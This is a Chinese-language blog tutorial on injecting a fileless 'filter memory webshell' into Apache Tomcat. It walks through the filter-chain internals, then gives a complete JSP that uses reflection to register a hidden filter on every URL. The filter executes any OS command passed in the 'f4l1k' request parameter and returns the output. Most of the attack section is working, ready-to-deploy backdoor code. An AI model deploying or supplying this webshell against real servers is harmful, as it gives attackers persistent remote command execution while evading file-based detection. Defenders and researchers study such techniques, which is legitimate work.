filter 内存马
上一篇我们介绍了一些基础知识。
我们正常使用内存马肯定不能去ServletContextListener中动态注册,我们基本职能在servlet中编辑或者上传jsp类的文件,那么我们该如何实现内存马呢
这个时候我们需要去分析一下加载filter的流程

我们需要先知道几个变量和类
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
我们的入手方法是StandardWrapperValve
类,我们在
1 2
| ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
|
打上断点进行调试,首先会调用createFilterChain方法
关键在83行,会从StandardContext获取context,然后从中来获取filter的映射,并将他交给filterMaps数组,filterMaps中存储的是我们filter的名字和映射


接着又会从context中获取filterConfig 
判断filterConfig不为null之后会调用addFilter方法,我们接着跟进
首先会判断是否filter已经加载过,防止多次加载,然后会把我们的filter加载

组装完成后会回到ApplicationFilterChain中调用internalDoFilter方法

我们跟进之后会发现它会从filterConfig中读取我们的FilterDefs,然后去调用doFilter

从上面整个流程我们可以看出有三个比较关键的参数
filterMaps
filterConfig
filterDef
我们要想实现一个filter需要将他们放入context
那我们现在需要做的就是拿到context并将上面三个参数补全
因为我们需要获取到的是StandardContext类型的context,所以我们要反射两次
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ServletContext context = request.getSession().getServletContext(); Field scontext = context.getClass().getDeclaredField("context"); scontext.setAccessible(true); System.out.println(scontext.getType()); ApplicationContext applicationContext = (ApplicationContext) scontext.get(context);
Field acontext = applicationContext.getClass().getDeclaredField("context"); acontext.setAccessible(true); System.out.println(acontext); StandardContext standarContext = (StandardContext) acontext.get(applicationContext);
|
接着我们去获取到filterConfigs
1 2 3
| Field configs = standarContext.getClass().getDeclaredField("filterConfigs"); configs.setAccessible(true); Map filterConfigs = (Map) configs.get(standarContext);
|
因为在StandardContext中存在addFilterMap和addFilterDef方法,所以我们只用创建FilterMap和FilterDef对象,再利用反射调用上述两个方法就可以了


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| if (filterConfigs.get(name) == null){ Filter filter = new Filter(){ @Override public void init(FilterConfig filterConfig) { }
@Override public void doFilter(ServletRequest req, ServletResponse rep, FilterChain chain) throws ServletException, IOException { if(req.getParameter("f4l1k") != null){ Process run = Runtime.getRuntime().exec(req.getParameter("f4l1k")); InputStream in = run.getInputStream(); BufferedReader bu = new BufferedReader(new InputStreamReader(in)); String cmd = null; while ((cmd = bu.readLine()) != null){ rep.getWriter().write(cmd); } } chain.doFilter(req,rep); }
@Override public void destroy() { } };
FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilter(filter); filterDef.setFilterClass(filter.getClass().getName());
standarContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName(name); filterMap.addURLPattern("/*"); filterDef.setDescription(DispatcherType.REQUEST.name());
standarContext.addFilterMapBefore(filterMap);
|
到此我们只剩一个FilterConfig没有解决,filterConfigs的key也就是我们的Filtername,而value是一个ApplicationFilterConfig,又因为这是tomcat内部包,我们不能直接去创建对象,所以我们要利用反射的方式去调用该类,然后再推入filterConfigs

1 2 3 4
| Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standarContext,filterDef); filterConfigs.put(name,filterConfig);
|
最终完整的filter内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% String name = "f4l1k"; ServletContext context = request.getSession().getServletContext(); Field scontext = context.getClass().getDeclaredField("context"); scontext.setAccessible(true); System.out.println(scontext.getType()); ApplicationContext applicationContext = (ApplicationContext) scontext.get(context);
Field acontext = applicationContext.getClass().getDeclaredField("context"); acontext.setAccessible(true); System.out.println(acontext); StandardContext standarContext = (StandardContext) acontext.get(applicationContext);
Field configs = standarContext.getClass().getDeclaredField("filterConfigs"); configs.setAccessible(true); Map filterConfigs = (Map) configs.get(standarContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter(){ @Override public void init(FilterConfig filterConfig) { }
@Override public void doFilter(ServletRequest req, ServletResponse rep, FilterChain chain) throws ServletException, IOException { if(req.getParameter("f4l1k") != null){ Process run = Runtime.getRuntime().exec(req.getParameter("f4l1k")); InputStream in = run.getInputStream(); BufferedReader bu = new BufferedReader(new InputStreamReader(in)); String cmd = null; while ((cmd = bu.readLine()) != null){ rep.getWriter().write(cmd); } } chain.doFilter(req,rep); }
@Override public void destroy() { } };
FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilter(filter); filterDef.setFilterClass(filter.getClass().getName());
standarContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName(name); filterMap.addURLPattern("/*"); filterDef.setDescription(DispatcherType.REQUEST.name());
standarContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standarContext,filterDef); filterConfigs.put(name,filterConfig); } %>
|
该内存马职能在Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3,也就是我们无法设置FilterMap
参考链接